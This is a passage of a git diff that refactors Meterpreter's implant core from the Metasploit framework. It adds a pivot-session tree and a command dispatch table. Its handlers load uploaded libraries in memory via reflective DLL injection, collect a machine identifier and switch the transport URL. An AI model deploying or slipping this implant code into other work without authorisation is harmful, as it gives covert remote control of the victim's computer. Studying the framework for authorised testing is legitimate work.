PivotNode* remove = parent->right; + PivotNode* left = remove->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = remove->right; + parent->right = left; + } + else + { + parent->right = remove->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + return pivot_tree_remove_node(parent->right, guid); + } + + return NULL; +} + +PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid) +{ +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Removing GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + if (tree->head == NULL) + { + return NULL; + } + + int cmp = memcmp(guid, tree->head->guid, sizeof(tree->head->guid)); + + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing head node"); + PivotNode* remove = tree->head; + PivotNode* left = tree->head->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = tree->head->right; + tree->head = left; + } + else + { + tree->head = tree->head->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + dprintf("[PIVOTTREE] Removing non-head node"); + return pivot_tree_remove_node(tree->head, guid); +} + +PivotContext* pivot_tree_find_node(PivotNode* node, LPBYTE guid) +{ + if (node == NULL) + { + dprintf("[PIVOTTREE] Current pivot node is null, bailing out"); + return NULL; + } + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Saerch GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + h = node->guid; + dprintf("[PIVOTTREE] Node GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + int cmp = memcmp(guid, node->guid, sizeof(node->guid)); + if (cmp == 0) + { + dprintf("[PIVOTTREE] node found"); + return node->ctx; + } + + if (cmp < 0) + { + dprintf("[PIVOTTREE] Searching left subtree"); + return pivot_tree_find_node(node->left, guid); + } + + dprintf("[PIVOTTREE] Searching right subtree"); + return pivot_tree_find_node(node->right, guid); +} + +PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid) +{ + dprintf("[PIVOTTREE] search tree %p, head node %p", tree, tree->head); + return pivot_tree_find_node(tree->head, guid); +} + +void pivot_tree_traverse_node(PivotNode* node, PivotTreeTraverseCallback callback, LPVOID state) +{ + if (node != NULL) + { + pivot_tree_traverse_node(node->left, callback, state); + callback(node->guid, node->ctx, state); + pivot_tree_traverse_node(node->right, callback, state); + } +} + +void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state) +{ + pivot_tree_traverse_node(tree->head, callback, state); +} + +void pivot_tree_destroy_node(PivotNode* node) +{ + if (node != NULL) + { + pivot_tree_destroy_node(node->left); + pivot_tree_destroy_node(node->right); + free(node); + } +} + +void pivot_tree_destroy(PivotTree* tree) +{ + pivot_tree_destroy_node(tree->head); + free(tree); } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pivot_tree.h b/c/meterpreter/source/metsrv/pivot_tree.h new file mode 100644 index 00000000..6c72388e --- /dev/null +++ b/c/meterpreter/source/metsrv/pivot_tree.h @@ -0,0 +1,18 @@ +#ifndef _METERPRETER_METSRV_PIVOT_TREE_H +#define _METERPRETER_METSRV_PIVOT_TREE_H + +#include "common_pivot_tree.h" + +PivotTree* pivot_tree_create(); +DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx); +PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid); +PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid); +void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state); +void pivot_tree_destroy(PivotTree* tree); + + +#ifdef DEBUGTRACE +void dbgprint_pivot_tree(PivotTree* tree); +#endif + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/remote.c b/c/meterpreter/source/metsrv/remote.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/remote.c rename to c/meterpreter/source/metsrv/remote.c index abb79b87..33e698ea --- a/c/meterpreter/source/common/remote.c +++ b/c/meterpreter/source/metsrv/remote.c @@ -1,79 +1,79 @@ -/*! - * @file remote.c - * @brief Definitions of functions and types that interact with a remote endpoint. - */ -#include "common.h" -#include "packet_encryption.h" - -/*! - * @brief Instantiate a remote context from a file descriptor. - * @details This function takes a file descriptor and wraps it in \c Remote - * context which makes it easier to interact with the endpoint. - * @returns Pointer to the created \c Remote instance. - * @retval NULL Indicates a memory allocation failure or a lock creation failure. - * @retval Non-NULL Successful creation of the context. - */ -Remote* remote_allocate() -{ - Remote* remote = (Remote*)calloc(1, sizeof(Remote)); - LOCK* lock = lock_create(); - - do - { - if (remote == NULL || lock == NULL) - { - break; - } - - remote->lock = lock; - remote->enc_ctx = NULL; - remote->pivot_sessions = pivot_tree_create(); - remote->pivot_listeners = pivot_tree_create(); - - dprintf("[REMOTE] remote created %p", remote); - return remote; - } while (0); - - if (lock) - { - lock_destroy(lock); - } - - if (remote->pivot_sessions) - { - pivot_tree_destroy(remote->pivot_sessions); - } - - if (remote->pivot_listeners) - { - pivot_tree_destroy(remote->pivot_listeners); - } - - free(remote); - - vdprintf("[REMOTE] here 3"); - return NULL; -} - -/*! - * @brief Deallocate a remote context. - * @param remote Pointer to the \c Remote instance to deallocate. - */ -VOID remote_deallocate(Remote * remote) -{ - free_encryption_context(remote); - pivot_tree_destroy(remote->pivot_sessions); - pivot_tree_destroy(remote->pivot_listeners); - - if (remote->lock) - { - lock_destroy(remote->lock); - } - - free(remote->orig_config); - - // Wipe our structure from memory - memset(remote, 0, sizeof(Remote)); - - free(remote); -} +/*! + * @file remote.c + * @brief Definitions of functions and types that interact with a remote endpoint. + */ +#include "metsrv.h" +#include "packet_encryption.h" + +/*! + * @brief Instantiate a remote context from a file descriptor. + * @details This function takes a file descriptor and wraps it in \c Remote + * context which makes it easier to interact with the endpoint. + * @returns Pointer to the created \c Remote instance. + * @retval NULL Indicates a memory allocation failure or a lock creation failure. + * @retval Non-NULL Successful creation of the context. + */ +Remote* remote_allocate() +{ + Remote* remote = (Remote*)calloc(1, sizeof(Remote)); + LOCK* lock = lock_create(); + + do + { + if (remote == NULL || lock == NULL) + { + break; + } + + remote->lock = lock; + remote->enc_ctx = NULL; + remote->pivot_sessions = pivot_tree_create(); + remote->pivot_listeners = pivot_tree_create(); + + dprintf("[REMOTE] remote created %p", remote); + return remote; + } while (0); + + if (lock) + { + lock_destroy(lock); + } + + if (remote->pivot_sessions) + { + pivot_tree_destroy(remote->pivot_sessions); + } + + if (remote->pivot_listeners) + { + pivot_tree_destroy(remote->pivot_listeners); + } + + free(remote); + + vdprintf("[REMOTE] here 3"); + return NULL; +} + +/*! + * @brief Deallocate a remote context. + * @param remote Pointer to the \c Remote instance to deallocate. + */ +VOID remote_deallocate(Remote * remote) +{ + free_encryption_context(remote); + pivot_tree_destroy(remote->pivot_sessions); + pivot_tree_destroy(remote->pivot_listeners); + + if (remote->lock) + { + lock_destroy(remote->lock); + } + + free(remote->orig_config); + + // Wipe our structure from memory + memset(remote, 0, sizeof(Remote)); + + free(remote); +} diff --git a/c/meterpreter/source/metsrv/remote.h b/c/meterpreter/source/metsrv/remote.h new file mode 100644 index 00000000..9fdadd9a --- /dev/null +++ b/c/meterpreter/source/metsrv/remote.h @@ -0,0 +1,17 @@ +/*! + * @file remote.h + * @brief Declarations of functions and types that interact with a remote endpoint. + */ +#ifndef _METERPRETER_METSRV_REMOTE_H +#define _METERPRETER_METSRV_REMOTE_H + +#include "common_thread.h" +#include "common_config.h" +#include "common_pivot_tree.h" + +Remote* remote_allocate(); +VOID remote_deallocate(Remote *remote); + +VOID remote_set_fd(Remote *remote, SOCKET fd); + +#endif diff --git a/c/meterpreter/source/server/win/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c old mode 100755 new mode 100644 similarity index 69% rename from c/meterpreter/source/server/win/remote_dispatch.c rename to c/meterpreter/source/metsrv/remote_dispatch.c index fb249d59..fa7af208 --- a/c/meterpreter/source/server/win/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -1,348 +1,512 @@ -#include "metsrv.h" - -// see ReflectiveLoader.c... -extern HINSTANCE hAppInstance; - -// see remote_dispatch_common.c -extern PLIST gExtensionList; -// see common/base.c -extern Command *extensionCommands; - -/* - * @brief Perform the initialisation of stageless extensions, if rquired. - * @param extensionName The name of the extension to initialise. - * @param data Pointer to the data containing the initialisation data. - * @param dataSize Size of the data referenced by \c data. - * @returns Indication of success or failure. - */ -DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize) -{ - dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList); - dprintf("[STAGELESSINIT] extension list start is %p", gExtensionList->start); - for (PNODE node = gExtensionList->start; node != NULL; node = node->next) - { - PEXTENSION ext = (PEXTENSION)node->data; - dprintf("[STAGELESSINIT] comparing to %s (init is %p)", ext->name, ext->stagelessInit); - if (strcmp(ext->name, extensionName) == 0 && ext->stagelessInit != NULL) - { - dprintf("[STAGELESSINIT] found for %s", extensionName); - return ext->stagelessInit(data, dataSize); - } - } - return ERROR_NOT_FOUND; -} - -/* - * @brief Load an extension from the given library handle. - * @param hLibrary handle to the library to load/init. - * @param bLibLoadedReflectivly Indication of whether the library was loaded using RDI. - * @param remote Pointer to the \c Remote instance. - * @param response Pointer to the \c Response packet. - * @param pFirstCommand Pointer to the head of the loaded command list. - * @returns Indication of success or failure. - */ -DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remote, Packet* response, Command* pFirstCommand) -{ - DWORD dwResult = ERROR_OUTOFMEMORY; - PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); - - dprintf("[SERVER] Initialising extension %x", hLibrary); - if (pExtension) - { - memset(pExtension, 0, sizeof(EXTENSION)); - - pExtension->library = hLibrary; - - // if the library was loaded via its reflective loader we must use GetProcAddressR() - if (bLibLoadedReflectivly) - { - pExtension->init = (PSRVINIT)GetProcAddressR(pExtension->library, "InitServerExtension"); - pExtension->deinit = (PSRVDEINIT)GetProcAddressR(pExtension->library, "DeinitServerExtension"); - pExtension->getname = (PSRVGETNAME)GetProcAddressR(pExtension->library, "GetExtensionName"); - pExtension->commandAdded = (PCMDADDED)GetProcAddressR(pExtension->library, "CommandAdded"); - pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddressR(pExtension->library, "StagelessInit"); - } - else - { - pExtension->init = (PSRVINIT)GetProcAddress(pExtension->library, "InitServerExtension"); - pExtension->deinit = (PSRVDEINIT)GetProcAddress(pExtension->library, "DeinitServerExtension"); - pExtension->getname = (PSRVGETNAME)GetProcAddress(pExtension->library, "GetExtensionName"); - pExtension->commandAdded = (PCMDADDED)GetProcAddress(pExtension->library, "CommandAdded"); - pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddress(pExtension->library, "StagelessInit"); - } - - // patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading - // functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress - // wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions. - if (remote) - { - remote->met_srv = hAppInstance; - } - - dprintf("[SERVER] Calling init on extension, address is 0x%p", pExtension->init); - - // Call the init routine in the library - if (pExtension->init) - { - dprintf("[SERVER] Calling init()..."); - - pExtension->end = pFirstCommand; - dwResult = pExtension->init(remote); - pExtension->start = extensionCommands; - - if (dwResult == ERROR_SUCCESS) - { - // inform the new extension of the existing commands - if (pExtension->commandAdded) - { - for (Command* command = pExtension->end; command != NULL; command = command->next) - { - pExtension->commandAdded(command->method); - } - } - - if (pExtension->getname) - { - pExtension->getname(pExtension->name, sizeof(pExtension->name)); - } - - list_push(gExtensionList, pExtension); - } - else - { - free(pExtension); - } - } - - dprintf("[SERVER] Called init()..."); - if (response) - { - for (Command* command = pExtension->start; command != pExtension->end; command = command->next) - { - packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); - - // inform existing extensions of the new commands - for (PNODE node = gExtensionList->start; node != NULL; node = node->next) - { - PEXTENSION ext = (PEXTENSION)node->data; - // don't inform the extension of itself - if (ext != pExtension && ext->commandAdded) - { - ext->commandAdded(command->method); - } - } - } - } - } - - return dwResult; -} - -/* - * @brief Load a library from the request packet. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_loadlib(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - HMODULE library; - PCHAR libraryPath; - DWORD flags = 0; - BOOL bLibLoadedReflectivly = FALSE; - - Command *first = extensionCommands; - - do - { - libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); - - // Invalid library path? - if (!libraryPath) - { - res = ERROR_INVALID_PARAMETER; - break; - } - - // If the lib does not exist locally, but is being uploaded... - if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) - { - PCHAR targetPath; - Tlv dataTlv; - - // Get the library's file contents - if ((packet_get_tlv(packet, TLV_TYPE_DATA, - &dataTlv) != ERROR_SUCCESS) || - (!(targetPath = packet_get_tlv_value_string(packet, - TLV_TYPE_TARGET_PATH)))) - { - res = ERROR_INVALID_PARAMETER; - break; - } - - // If the library is not to be stored on disk, - if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) - { - // try to load the library via its reflective loader... - library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length); - if (library == NULL) - { - // if that fails, presumably besause the library doesn't support - // reflective injection, we default to using libloader... - library = libloader_load_library(targetPath, - dataTlv.buffer, dataTlv.header.length); - } - else - { - bLibLoadedReflectivly = TRUE; - } - - res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND; - } - else - { - // Otherwise, save the library buffer to disk - res = buffer_to_file(targetPath, dataTlv.buffer, - dataTlv.header.length); - } - - // Override the library path - libraryPath = targetPath; - } - - // If a previous operation failed, break out. - if (res != ERROR_SUCCESS) - { - break; - } - - // Load the library - if (!library && !(library = LoadLibraryA(libraryPath))) - { - res = GetLastError(); - } - - // If this library is supposed to be an extension library, try to - // call its Init routine - if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) - { - res = load_extension(library, bLibLoadedReflectivly, remote, response, first); - } - - } while (0); - - if (response) - { - packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * @brief Set/update the current UUID for the session. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_set_uuid(Remote* remote, Packet* packet) -{ - Packet* response = packet_create_response(packet); - PBYTE newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); - - if (newUuid != NULL) - { - memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); - } - - if (response) - { - packet_transmit_response(ERROR_SUCCESS, remote, response); - } - - return ERROR_SUCCESS; -} - -/* - * @brief Get the current session GUID. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_get_session_guid(Remote* remote, Packet* packet) -{ - Packet* response = packet_create_response(packet); - if (response) - { - packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); - packet_transmit_response(ERROR_SUCCESS, remote, response); - } - return ERROR_SUCCESS; -} - -/* - * @brief Set the current session GUID. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_set_session_guid(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); - - if (sessionGuid != NULL) - { - memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); - } - else - { - result = ERROR_BAD_ARGUMENTS; - } - - packet_transmit_empty_response(remote, packet, result); - - return ERROR_SUCCESS; -} - -/* - * @brief Get the current machine identifier. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_machine_id(Remote* remote, Packet* packet) -{ - DWORD res = ERROR_SUCCESS; - dprintf("[CORE] Running request_core_machine_id"); - Packet* response = packet_create_response(packet); - dprintf("[CORE] response is %p", response); - - if (response) - { - wchar_t buffer[MAX_PATH]; - if (GetSystemDirectory(buffer, MAX_PATH) != 0) - { - wchar_t computerName[MAX_PATH]; - DWORD computerNameSize = MAX_PATH; - DWORD serialNumber; - wchar_t* backslash = wcschr(buffer, L'\\'); - *(backslash + 1) = L'\0'; - - GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0); - - GetComputerName(computerName, &computerNameSize); - - _snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName); - packet_add_tlv_wstring(response, TLV_TYPE_MACHINE_ID, buffer); - dprintf("[CORE] sending machine id: %S", buffer); - } - - packet_transmit_response(res, remote, response); - } - - return ERROR_SUCCESS; -} +#include "metsrv.h" +#include "common_metapi.h" +#include "server_pivot.h" + +// see ReflectiveLoader.c... +extern HINSTANCE hAppInstance; + +// see remote_dispatch_common.c +extern PLIST gExtensionList; +// see common/base.c +extern Command *extensionCommands; + +PLIST gExtensionList = NULL; + +DWORD request_core_enumextcmd(Remote* remote, Packet* packet); +DWORD request_core_machine_id(Remote* remote, Packet* packet); +DWORD request_core_get_session_guid(Remote* remote, Packet* packet); +DWORD request_core_set_session_guid(Remote* remote, Packet* packet); +DWORD request_core_set_uuid(Remote* remote, Packet* packet); +BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); + +// Dispatch table +Command customCommands[] = +{ + COMMAND_REQ("core_loadlib", request_core_loadlib), + COMMAND_REQ("core_enumextcmd", request_core_enumextcmd), + COMMAND_REQ("core_machine_id", request_core_machine_id), + COMMAND_REQ("core_get_session_guid", request_core_get_session_guid), + COMMAND_REQ("core_set_session_guid", request_core_set_session_guid), + COMMAND_REQ("core_set_uuid", request_core_set_uuid), + COMMAND_REQ("core_pivot_add", request_core_pivot_add), + COMMAND_REQ("core_pivot_remove", request_core_pivot_remove), + COMMAND_INLINE_REP("core_patch_url", request_core_patch_url), + COMMAND_TERMINATOR +}; + +typedef struct _EnumExtensions +{ + Packet* pResponse; + char* lpExtensionName; +} EnumExtensions, * PEnumExtensions; + + +/* + * Writes a buffer to a file + */ +DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length) +{ + DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0; + HANDLE h; + + do + { + // Try to open the file for writing + if ((h = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, + FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) + { + res = GetLastError(); + break; + } + + bytesLeft = length; + + // Keep writing until everything is written + while ((bytesLeft) && + (WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL))) + { + bytesLeft -= bytesWritten; + offset += bytesWritten; + } + + res = ERROR_SUCCESS; + + } while (0); + + if (h != INVALID_HANDLE_VALUE) + CloseHandle(h); + + return res; +} + +BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) +{ + PEnumExtensions pEnum = (PEnumExtensions)pState; + Command* command = NULL; + + if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL) + { + PEXTENSION pExt = (PEXTENSION)pData; + if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0) + { + dprintf("[LISTEXT] Found extension: %s", pExt->name); + for (command = pExt->start; command != pExt->end; command = command->next) + { + packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method); + } + dprintf("[LISTEXT] Finished listing extension: %s", pExt->name); + + return TRUE; + } + } + return FALSE; +} + +BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) +{ + // this is a special case because we don't actually send + // response to this. This is a brutal switch without any + // other forms of comms, and this is because of stageless + // payloads + if (remote->transport->type == METERPRETER_TRANSPORT_TCP) + { + // This shouldn't happen. + *result = ERROR_INVALID_STATE; + } + else + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + *result = ERROR_SUCCESS; + } + return TRUE; +} + +DWORD request_core_enumextcmd(Remote* remote, Packet* packet) +{ + BOOL bResult = FALSE; + Packet* pResponse = packet_create_response(packet); + + if (pResponse != NULL) + { + EnumExtensions enumExt; + enumExt.pResponse = pResponse; + enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); + + dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); + // Start by enumerating the names of the extensions + bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); + + packet_transmit_response(ERROR_SUCCESS, remote, pResponse); + } + + return ERROR_SUCCESS; +} + +/* + * Registers custom command handlers + */ +VOID register_dispatch_routines() +{ + gExtensionList = list_create(); + + command_register_all(customCommands); +} + +/* + * Deregisters previously registered custom commands and loaded extensions. + */ +VOID deregister_dispatch_routines(Remote * remote) +{ + while (TRUE) + { + PEXTENSION extension = list_pop(gExtensionList); + if (!extension) + { + break; + } + + if (extension->deinit) + { + extension->deinit(remote); + } + + free(extension); + } + + command_deregister_all(customCommands); + + list_destroy(gExtensionList); +} + + +/* + * @brief Perform the initialisation of stageless extensions, if rquired. + * @param extensionName The name of the extension to initialise. + * @param data Pointer to the data containing the initialisation data. + * @param dataSize Size of the data referenced by \c data. + * @returns Indication of success or failure. + */ +DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize) +{ + dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList); + dprintf("[STAGELESSINIT] extension list start is %p", gExtensionList->start); + for (PNODE node = gExtensionList->start; node != NULL; node = node->next) + { + PEXTENSION ext = (PEXTENSION)node->data; + dprintf("[STAGELESSINIT] comparing to %s (init is %p)", ext->name, ext->stagelessInit); + if (strcmp(ext->name, extensionName) == 0 && ext->stagelessInit != NULL) + { + dprintf("[STAGELESSINIT] found for %s", extensionName); + return ext->stagelessInit(data, dataSize); + } + } + return ERROR_NOT_FOUND; +} + +/* + * @brief Load an extension from the given library handle. + * @param hLibrary handle to the library to load/init. + * @param bLibLoadedReflectivly Indication of whether the library was loaded using RDI. + * @param remote Pointer to the \c Remote instance. + * @param response Pointer to the \c Response packet. + * @param pFirstCommand Pointer to the head of the loaded command list. + * @returns Indication of success or failure. + */ +DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remote, Packet* response, Command* pFirstCommand) +{ + DWORD dwResult = ERROR_OUTOFMEMORY; + PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); + + dprintf("[SERVER] Initialising extension %x", hLibrary); + if (pExtension) + { + memset(pExtension, 0, sizeof(EXTENSION)); + + pExtension->library = hLibrary; + + // if the library was loaded via its reflective loader we must use GetProcAddressR() + if (bLibLoadedReflectivly) + { + pExtension->init = (PSRVINIT)GetProcAddressR(pExtension->library, "InitServerExtension"); + pExtension->deinit = (PSRVDEINIT)GetProcAddressR(pExtension->library, "DeinitServerExtension"); + pExtension->getname = (PSRVGETNAME)GetProcAddressR(pExtension->library, "GetExtensionName"); + pExtension->commandAdded = (PCMDADDED)GetProcAddressR(pExtension->library, "CommandAdded"); + pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddressR(pExtension->library, "StagelessInit"); + } + else + { + pExtension->init = (PSRVINIT)GetProcAddress(pExtension->library, "InitServerExtension"); + pExtension->deinit = (PSRVDEINIT)GetProcAddress(pExtension->library, "DeinitServerExtension"); + pExtension->getname = (PSRVGETNAME)GetProcAddress(pExtension->library, "GetExtensionName"); + pExtension->commandAdded = (PCMDADDED)GetProcAddress(pExtension->library, "CommandAdded"); + pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddress(pExtension->library, "StagelessInit"); + } + + dprintf("[SERVER] Calling init on extension, address is 0x%p", pExtension->init); + + // Call the init routine in the library + if (pExtension->init) + { + dprintf("[SERVER] Calling init()..."); + + pExtension->end = pFirstCommand; + dwResult = pExtension->init(met_api, remote); + pExtension->start = extensionCommands; + + if (dwResult == ERROR_SUCCESS) + { + // inform the new extension of the existing commands + if (pExtension->commandAdded) + { + for (Command* command = pExtension->end; command != NULL; command = command->next) + { + pExtension->commandAdded(command->method); + } + } + + if (pExtension->getname) + { + pExtension->getname(pExtension->name, sizeof(pExtension->name)); + } + + list_push(gExtensionList, pExtension); + } + else + { + free(pExtension); + } + } + + dprintf("[SERVER] Called init()..."); + if (response) + { + for (Command* command = pExtension->start; command != pExtension->end; command = command->next) + { + packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); + + // inform existing extensions of the new commands + for (PNODE node = gExtensionList->start; node != NULL; node = node->next) + { + PEXTENSION ext = (PEXTENSION)node->data; + // don't inform the extension of itself + if (ext != pExtension && ext->commandAdded) + { + ext->commandAdded(command->method); + } + } + } + } + } + + return dwResult; +} + +/* + * @brief Load a library from the request packet. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_loadlib(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS; + HMODULE library; + PCHAR libraryPath; + DWORD flags = 0; + BOOL bLibLoadedReflectivly = FALSE; + + Command *first = extensionCommands; + + do + { + libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); + flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + + // Invalid library path? + if (!libraryPath) + { + res = ERROR_INVALID_PARAMETER; + break; + } + + // If the lib does not exist locally, but is being uploaded... + if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) + { + PCHAR targetPath; + Tlv dataTlv; + + // Get the library's file contents + if ((packet_get_tlv(packet, TLV_TYPE_DATA, + &dataTlv) != ERROR_SUCCESS) || + (!(targetPath = packet_get_tlv_value_string(packet, + TLV_TYPE_TARGET_PATH)))) + { + res = ERROR_INVALID_PARAMETER; + break; + } + + // If the library is not to be stored on disk, + if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) + { + // try to load the library via its reflective loader... + library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length); + if (library == NULL) + { + // if that fails, presumably besause the library doesn't support + // reflective injection, we default to using libloader... + library = libloader_load_library(targetPath, + dataTlv.buffer, dataTlv.header.length); + } + else + { + bLibLoadedReflectivly = TRUE; + } + + res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND; + } + else + { + // Otherwise, save the library buffer to disk + res = buffer_to_file(targetPath, dataTlv.buffer, + dataTlv.header.length); + } + + // Override the library path + libraryPath = targetPath; + } + + // If a previous operation failed, break out. + if (res != ERROR_SUCCESS) + { + break; + } + + // Load the library + if (!library && !(library = LoadLibraryA(libraryPath))) + { + res = GetLastError(); + } + + // If this library is supposed to be an extension library, try to + // call its Init routine + if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) + { + res = load_extension(library, bLibLoadedReflectivly, remote, response, first); + } + + } while (0); + + if (response) + { + packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * @brief Set/update the current UUID for the session. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_set_uuid(Remote* remote, Packet* packet) +{ + Packet* response = packet_create_response(packet); + PBYTE newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); + + if (newUuid != NULL) + { + memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); + } + + if (response) + { + packet_transmit_response(ERROR_SUCCESS, remote, response); + } + + return ERROR_SUCCESS; +} + +/* + * @brief Get the current session GUID. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_get_session_guid(Remote* remote, Packet* packet) +{ + Packet* response = packet_create_response(packet); + if (response) + { + packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); + packet_transmit_response(ERROR_SUCCESS, remote, response); + } + return ERROR_SUCCESS; +} + +/* + * @brief Set the current session GUID. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_set_session_guid(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); + + if (sessionGuid != NULL) + { + memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); + } + else + { + result = ERROR_BAD_ARGUMENTS; + } + + packet_transmit_empty_response(remote, packet, result); + + return ERROR_SUCCESS; +} + +/* + * @brief Get the current machine identifier. + * @param remote Pointer to the \c Remote instance. + * @param packet 